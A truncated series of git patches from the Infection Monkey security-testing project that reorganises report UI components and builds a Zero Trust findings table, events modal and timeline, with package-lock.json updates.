    + ) + } +} + +export default ZeroTrustReportPillarGrades; From 918d86c4d951012184eb8be5a4677ec40c72cbf9 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 14:36:16 +0300 Subject: [PATCH 047/276] Moved report header to common components in folder --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 2 +- .../components/report-components/{ => common}/ReportHeader.js | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => common}/ReportHeader.js (93%) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 936171aad..132b68651 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -12,7 +12,7 @@ import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import StrongUsers from "components/report-components/StrongUsers"; import AttackReport from "components/report-components/AttackReport"; -import ReportHeader, { ReportTypes } from "../report-components/ReportHeader"; +import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 35e348e15..f9702bf8d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,7 +1,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; -import ReportHeader, { ReportTypes } from "../report-components/ReportHeader"; +import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; import ZeroTrustReportPillarGrades from "../report-components/zerotrust/ZeroTrustReportPillarGrades"; class ZeroTrustReportPageComponent extends AuthComponent { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js similarity index 93% rename from monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js rename to monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js index adccb7371..0db9cb93e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ReportHeader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -1,7 +1,7 @@ import React, {Component} from "react"; import {Col} from "react-bootstrap"; -let monkeyLogoImage = require('../../images/monkey-icon.svg'); +let monkeyLogoImage = require('../../../images/monkey-icon.svg'); export const ReportTypes = { zeroTrust: "Zero Trust", From eaf923a0e44dbed452fc086e9d70e6d8d66d030b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 14:39:17 +0300 Subject: [PATCH 048/276] Moved all the security report components into their own folder, finished folder structure --- .../src/components/attack/techniques/T1003.js | 4 +-- .../cc/ui/src/components/pages/ReportPage.js | 14 +++++----- .../{ => security}/AttackReport.js | 28 +++++++++---------- .../{ => security}/BreachedServers.js | 0 .../{ => security}/CollapsibleWell.js | 0 .../{ => security}/PostBreach.js | 0 .../{ => security}/ScannedServers.js | 0 .../{ => security}/StolenPasswords.js | 0 .../{ => security}/StrongUsers.js | 0 9 files changed, 23 insertions(+), 23 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/AttackReport.js (87%) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/BreachedServers.js (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/CollapsibleWell.js (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/PostBreach.js (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/ScannedServers.js (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/StolenPasswords.js (100%) rename monkey/monkey_island/cc/ui/src/components/report-components/{ => security}/StrongUsers.js (100%) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index 07fd4a400..24d742c14 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' -import '../../report-components/StolenPasswords' -import StolenPasswordsComponent from "../../report-components/StolenPasswords"; +import '../../report-components/security/StolenPasswords' +import StolenPasswordsComponent from "../../report-components/security/StolenPasswords"; import {ScanStatus} from "./Helpers" diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 132b68651..d68a7b3f6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -1,17 +1,17 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; -import BreachedServers from 'components/report-components/BreachedServers'; -import ScannedServers from 'components/report-components/ScannedServers'; -import PostBreach from 'components/report-components/PostBreach'; +import BreachedServers from 'components/report-components/security/BreachedServers'; +import ScannedServers from 'components/report-components/security/ScannedServers'; +import PostBreach from 'components/report-components/security/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import StolenPasswords from 'components/report-components/StolenPasswords'; -import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; +import StolenPasswords from 'components/report-components/security/StolenPasswords'; +import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; -import StrongUsers from "components/report-components/StrongUsers"; -import AttackReport from "components/report-components/AttackReport"; +import StrongUsers from "components/report-components/security/StrongUsers"; +import AttackReport from "components/report-components/security/AttackReport"; import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js similarity index 87% rename from monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js index f3bf7d9ce..c5c58c92f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js @@ -2,21 +2,21 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import '../../styles/Collapse.scss'; -import AuthComponent from '../AuthComponent'; -import {ScanStatus} from "../attack/techniques/Helpers"; +import '../../../styles/Collapse.scss'; +import AuthComponent from '../../AuthComponent'; +import {ScanStatus} from "../../attack/techniques/Helpers"; import Collapse from '@kunukn/react-collapse'; -import T1210 from '../attack/techniques/T1210'; -import T1197 from '../attack/techniques/T1197'; -import T1110 from '../attack/techniques/T1110'; -import T1075 from "../attack/techniques/T1075"; -import T1003 from "../attack/techniques/T1003"; -import T1059 from "../attack/techniques/T1059"; -import T1086 from "../attack/techniques/T1086"; -import T1082 from "../attack/techniques/T1082"; -import T1145 from "../attack/techniques/T1145"; -import T1107 from "../attack/techniques/T1107"; -import T1065 from "../attack/techniques/T1065"; +import T1210 from '../../attack/techniques/T1210'; +import T1197 from '../../attack/techniques/T1197'; +import T1110 from '../../attack/techniques/T1110'; +import T1075 from "../../attack/techniques/T1075"; +import T1003 from "../../attack/techniques/T1003"; +import T1059 from "../../attack/techniques/T1059"; +import T1086 from "../../attack/techniques/T1086"; +import T1082 from "../../attack/techniques/T1082"; +import T1145 from "../../attack/techniques/T1145"; +import T1107 from "../../attack/techniques/T1107"; +import T1065 from "../../attack/techniques/T1065"; const tech_components = { 'T1210': T1210, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js From 50e020403bd642eba96768cd0564e97f92431af1 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 15:13:55 +0300 Subject: [PATCH 049/276] Added basic findings table, no access to events yet --- .../components/pages/ZeroTrustReportPage.js | 5 ++ .../zerotrust/ZeroTrustReportFindingsTable.js | 47 +++++++++++++++++++ .../zerotrust/ZeroTrustReportPillarGrades.js | 3 -- 3 files changed, 52 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index f9702bf8d..82d90bb7c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -3,6 +3,7 @@ import {Button, Col} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, { ReportTypes } from "../report-components/common/ReportHeader"; import ZeroTrustReportPillarGrades from "../report-components/zerotrust/ZeroTrustReportPillarGrades"; +import ZeroTrustReportFindingsTable from "../report-components/zerotrust/ZeroTrustReportFindingsTable"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -43,7 +44,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { content = "Still empty"; } else { content =
    +

    Pillars Overview

    +

    Findings

    +
    ; } @@ -59,6 +63,7 @@ class ZeroTrustReportPageComponent extends AuthComponent {
    {content} +
    THIS IS THE RAW SERVER DATA
                 {JSON.stringify(this.state.report, undefined, 2)}
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js
    new file mode 100644
    index 000000000..d2f782213
    --- /dev/null
    +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js
    @@ -0,0 +1,47 @@
    +import React, {Component} from "react";
    +import ReactTable from "react-table";
    +
    +const columns = [
    +  {
    +    Header: 'Findings',
    +    columns: [
    +      { Header: 'Test', accessor: 'test'},
    +      { Header: 'Pillars', id: "pillars",
    +        accessor: x => {
    +          const pillars = x.pillars;
    +          const listItems = pillars.map((pillar) =>
    +            
  • {pillar}
  • + ); + return
      {listItems}
    + } + }, + { Header: 'Events', id:"events", accessor: x => ZeroTrustReportFindingsTable.buildEventsComponent(x)} + ] + } +]; + +const pageSize = 10; + +class ZeroTrustReportFindingsTable extends Component { + render() { + let defaultPageSize = this.props.findings.length > pageSize ? pageSize : this.props.findings.length; + let showPagination = this.props.findings.length > pageSize; + + return ( +
    + +
    + ); + } + + static buildEventsComponent(events) { + return ; + } +} + +export default ZeroTrustReportFindingsTable; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js index 125151ea7..e8638d6b1 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js @@ -23,9 +23,6 @@ export class ZeroTrustReportPillarGrades extends Component { return (
    -

    - Pillars Overview -

    TODO: table with conditional colouring.

    From 1b958ed300907ecec7cb68de7b54f3590611c767 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 15:23:52 +0300 Subject: [PATCH 050/276] Added label component for pillar and added word wrap --- .../zerotrust/ZeroTrustReportFindingsTable.js | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js index d2f782213..aa93a8d41 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js @@ -1,16 +1,25 @@ import React, {Component} from "react"; import ReactTable from "react-table"; +import ZeroTrustPillars from "./ZeroTrustPillars"; + +class PillarLabel extends Component { + render() { + return {this.props.pillar} + } +} const columns = [ { Header: 'Findings', columns: [ - { Header: 'Test', accessor: 'test'}, + { Header: 'Test', accessor: 'test', + style: {'white-space': 'unset'} // This enables word wrap + }, { Header: 'Pillars', id: "pillars", accessor: x => { const pillars = x.pillars; const listItems = pillars.map((pillar) => -
  • {pillar}
  • +
  • ); return
      {listItems}
    } From ec15561bcb9147c261aa50bf93f8dd2dc2dd5a96 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 16:16:53 +0300 Subject: [PATCH 051/276] Changes JSON to say if tests are conclusive --- .../cc/resources/reporting/report.py | 2 ++ .../zerotrust/ZeroTrustReportFindingsTable.js | 1 - .../zerotrust/ZeroTrustReportPillarGrades.js | 16 ++++++++++++---- 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 9c6cf88da..1b2895f8f 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -25,6 +25,7 @@ class Report(flask_restful.Resource): "findings": [ { "test": "Monkey 8 found a machine with no AV software active.", + "conclusive": False, "pillars": ["Devices"], "events": [ { @@ -37,6 +38,7 @@ class Report(flask_restful.Resource): }, { "test": "Monkey 6 successfully exploited machine XXX with shellshock.", + "conclusive": True, "pillars": ["Devices", "Networks"], "events": [ { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js index aa93a8d41..040bac420 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js @@ -1,6 +1,5 @@ import React, {Component} from "react"; import ReactTable from "react-table"; -import ZeroTrustPillars from "./ZeroTrustPillars"; class PillarLabel extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js index e8638d6b1..9a551e0a2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportPillarGrades.js @@ -1,20 +1,28 @@ import React, {Component} from "react"; import ZeroTrustPillars from "./ZeroTrustPillars"; +import ZeroTrustReportFindingsTable from "./ZeroTrustReportFindingsTable"; export class ZeroTrustReportPillarGrades extends Component { render() { let pillarsCounters = {}; - for(const pillar in ZeroTrustPillars){ - pillarsCounters[ZeroTrustPillars[pillar]] = 0; + for(const pillar in ZeroTrustPillars) { + pillarsCounters[ZeroTrustPillars[pillar]] = { + "conclusive": 0, + "possible": 0 + }; } if (this.props.findings !== null) { for (const finding of this.props.findings) { console.log("finding: " + JSON.stringify(finding)); if (typeof finding === 'object' && finding !== null) { - if (finding.hasOwnProperty("pillars")) { + if (finding.hasOwnProperty("pillars") && finding.hasOwnProperty("conclusive")) { for (const pillar of finding["pillars"]) { - pillarsCounters[pillar] = pillarsCounters[pillar] + 1; + if (finding.conclusive) { + pillarsCounters[pillar]["conclusive"] += 1; + } else { + pillarsCounters[pillar]["possible"] += 1; + } } } } From b17d0a841b31db28fc5dcb258c1d1f885b062f6e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 5 Aug 2019 17:16:02 +0300 Subject: [PATCH 052/276] Added "Show events" button and modal --- .../zerotrust/ZeroTrustReportFindingsTable.js | 74 +++++++++++++++++-- 1 file changed, 68 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js index 040bac420..aa2e325c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustReportFindingsTable.js @@ -1,5 +1,6 @@ import React, {Component} from "react"; import ReactTable from "react-table"; +import {Button, Modal} from "react-bootstrap"; class PillarLabel extends Component { render() { @@ -7,12 +8,72 @@ class PillarLabel extends Component { } } +class EventsModal extends Component { + constructor(props) { + super(props); + } + + render() { + return ( +
    + this.props.hideCallback()}> + +

    Events

    + +
    {JSON.stringify(this.props.events)}
    + +
    + +
    +
    +
    +
    + ); + } +} + + +class EventsAndButtonComponent extends Component { + constructor(props) { + super(props); + this.state = { + show: false + } + } + + hide = () => { + this.setState({show: false}); + }; + + show = () => { + this.setState({show: true}); + }; + + render() { + return ( +
    + +

    + +

    +
    + ); + } + +} + const columns = [ { Header: 'Findings', columns: [ { Header: 'Test', accessor: 'test', - style: {'white-space': 'unset'} // This enables word wrap + style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Pillars', id: "pillars", accessor: x => { @@ -23,7 +84,11 @@ const columns = [ return
      {listItems}
    } }, - { Header: 'Events', id:"events", accessor: x => ZeroTrustReportFindingsTable.buildEventsComponent(x)} + { Header: 'Events', id:"events", + accessor: x => { + return ; + } + } ] } ]; @@ -46,10 +111,7 @@ class ZeroTrustReportFindingsTable extends Component {
    ); } - - static buildEventsComponent(events) { - return ; - } } + export default ZeroTrustReportFindingsTable; From ad5929b4e507aa96201f4746bcc88caaa84bd443 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 6 Aug 2019 18:19:39 +0300 Subject: [PATCH 053/276] Added event timeline (not done yet, need to add title to data) and deleted console.logs --- monkey/monkey_island/cc/ui/package-lock.json | 325 ++++++++---------- monkey/monkey_island/cc/ui/package.json | 1 + .../components/pages/ZeroTrustReportPage.js | 2 - .../zerotrust/EventsModal.js | 32 ++ .../zerotrust/EventsTimeline.js | 18 + .../zerotrust/ZeroTrustReportFindingsTable.js | 38 +- .../zerotrust/ZeroTrustReportPillarGrades.js | 1 - 7 files changed, 192 insertions(+), 225 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 934b567e7..324112f9d 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -56,7 +56,7 @@ "@babel/helper-module-imports": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0.tgz", - "integrity": "sha1-lggbcRHkhtpNLNlxrRpP4hbMLj0=", + "integrity": "sha512-aP/hlLq01DWNEiDg4Jn23i+CXxW/owM4WpDLFUbpjxe4NS3BhLVZQ5i7E0ZrxuQ/vwekIeciyamgB1UIYxxM6A==", "requires": { "@babel/types": "^7.0.0" }, @@ -74,7 +74,7 @@ "lodash": { "version": "4.17.11", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", - "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40=" + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" }, "to-fast-properties": { "version": "2.0.0", @@ -259,7 +259,7 @@ "@emotion/cache": { "version": "10.0.9", "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.9.tgz", - "integrity": "sha1-4Me3oon3Uw7c+tTc84WL0uVwCm8=", + "integrity": "sha512-f7MblpE2xoimC4fCMZ9pivmsIn7hyWRIvY75owMDi8pdOSeh+w5tH3r4hBJv/LLrwiMM7cTQURqTPcYoL5pWnw==", "requires": { "@emotion/sheet": "0.9.2", "@emotion/stylis": "0.8.3", @@ -270,7 +270,7 @@ "@emotion/core": { "version": "10.0.10", "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.10.tgz", - "integrity": "sha1-jTEU5aL4sXinBnxgOik3UW8YCwg=", + "integrity": "sha512-U1aE2cOWUscjc8ZJ3Cx32udOzLeRoJwGxBH93xQD850oQFpwPKZARzdUtdc9SByUOwzSFYxhDhrpXnV34FJmWg==", "requires": { "@emotion/cache": "^10.0.9", "@emotion/css": "^10.0.9", @@ -292,12 +292,12 @@ "@emotion/hash": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.1.tgz", - "integrity": "sha1-mDNyI0E3n7fWfwaksAqzw3kT2lM=" + "integrity": "sha512-OYpa/Sg+2GDX+jibUfpZVn1YqSVRpYmTLF2eyAfrFTIJSbwyIrc+YscayoykvaOME/wV4BV0Sa0yqdMrgse6mA==" }, "@emotion/memoize": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.1.tgz", - "integrity": "sha1-6TwTlCWSz17wGqgpdETcGSvu5S8=" + "integrity": "sha512-Qv4LTqO11jepd5Qmlp3M1YEjBumoTHcHFdgPTQ+sFlIL5myi/7xu/POwP7IRu6odBdmLXdtIs1D6TuW6kbwbbg==" }, "@emotion/serialize": { "version": "0.11.6", @@ -314,27 +314,27 @@ "@emotion/sheet": { "version": "0.9.2", "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.2.tgz", - "integrity": "sha1-dOXGteSJobowqyRqte7dlpFkh8Q=" + "integrity": "sha512-pVBLzIbC/QCHDKJF2E82V2H/W/B004mDFQZiyo/MSR+VC4pV5JLG0TF/zgQDFvP3fZL/5RTPGEmXlYJBMUuJ+A==" }, "@emotion/stylis": { "version": "0.8.3", "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.3.tgz", - "integrity": "sha1-PKfpvLMbPLSvuutmFW2G7oXiMkY=" + "integrity": "sha512-M3nMfJ6ndJMYloSIbYEBq6G3eqoYD41BpDOxreE8j0cb4fzz/5qvmqU9Mb2hzsXcCnIlGlWhS03PCzVGvTAe0Q==" }, "@emotion/unitless": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.3.tgz", - "integrity": "sha1-YxCgR/EtIaEDb7AxMXIZiSRAQW8=" + "integrity": "sha512-4zAPlpDEh2VwXswwr/t8xGNDGg8RQiPxtxZ3qQEXyQsBV39ptTdESCjuBvGze1nLMVrxmTIKmnO/nAV8Tqjjzg==" }, "@emotion/utils": { "version": "0.11.1", "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.1.tgz", - "integrity": "sha1-hSm3QSputLSL325yDMG45uHhdig=" + "integrity": "sha512-8M3VN0hetwhsJ8dH8VkVy7xo5/1VoBsDOk/T4SJOeXwTO1c4uIqVNx2qyecLFnnUWD5vvUqHQ1gASSeUN6zcTg==" }, "@emotion/weak-memoize": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz", - "integrity": "sha1-Y5hdPYsCUw4IaZYvTaCRQu6OIA4=" + "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA==" }, "@kunukn/react-collapse": { "version": "1.0.5", @@ -630,7 +630,6 @@ "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, - "optional": true, "requires": { "kind-of": "^3.0.2", "longest": "^1.0.1", @@ -689,7 +688,7 @@ "are-we-there-yet": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz", - "integrity": "sha1-SzXClE8GKov82mZBB2A1D+nd/CE=", + "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==", "requires": { "delegates": "^1.0.0", "readable-stream": "^2.0.6" @@ -703,12 +702,12 @@ "process-nextick-args": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o=" + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" }, "readable-stream": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -722,7 +721,7 @@ "string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "requires": { "safe-buffer": "~5.1.0" } @@ -3004,7 +3003,7 @@ "clone-deep": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", - "integrity": "sha1-ANs6Hhc2VnMNEYjD1qztbX6pdxM=", + "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", "requires": { "for-own": "^1.0.0", "is-plain-object": "^2.0.4", @@ -3023,7 +3022,7 @@ "kind-of": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE=" + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" } } }, @@ -3313,7 +3312,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "^1.0.3" } @@ -3369,7 +3368,7 @@ }, "yargs": { "version": "11.1.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", + "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", "integrity": 